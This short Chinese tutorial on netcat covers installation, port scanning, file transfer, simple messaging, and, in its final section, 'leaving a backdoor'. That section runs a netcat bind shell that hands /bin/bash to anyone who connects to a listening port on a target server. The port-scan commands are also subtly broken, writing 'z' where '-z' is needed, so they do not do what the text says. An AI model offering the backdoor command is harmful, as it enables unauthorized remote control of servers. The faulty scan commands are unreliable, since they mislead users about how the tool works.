Netcat可用于端口扫描,了解目标机器上哪些端口是开放的,有哪些服务在运行。它可以扫描单个或多个或一系列的开放端口。
安装
yum install nc [CentOS/RHEL]
sudo apt-get install Netcat [On Debian/Ubuntu]
用法
- 端口扫描
可用来了解目标机器上哪些端口是开放的,有哪些服务在运行。
$ nc -v -w 2 z 192.168.100.1 22 #扫描一个端口
OR
$ nc -v -w 2 z 192.168.100.1 22 80 #扫描多独端口
OR
$ nc -v -w 2 z 192.168.100.1 20-25 #扫描一个范围的端口
-z 将nc设置为简单地扫描正在监听的守护进程,而不向它们实际发送任何数据。
-w 指定了无法建立连接的超时时间
- 文件传输
#发送服务器
tar -zcf - centos-7-x86_64-dvd-1810.iso | pv | nc -l -p 3000 -q 5
#接收服务器
nc 192.168.1.4 3000 | pv | tar -zxf -
可使用pv工具监控传输进度
- 消息传递服务
#服务端
nc -l -vv -p 5000
#客户端
nc 192.168.56.1 5000
- 留个后门
#目标服务器
nc -4 -l -vv -p 8089 -e /bin/bash
#本地
nc 192.168.56.1 8089
pwd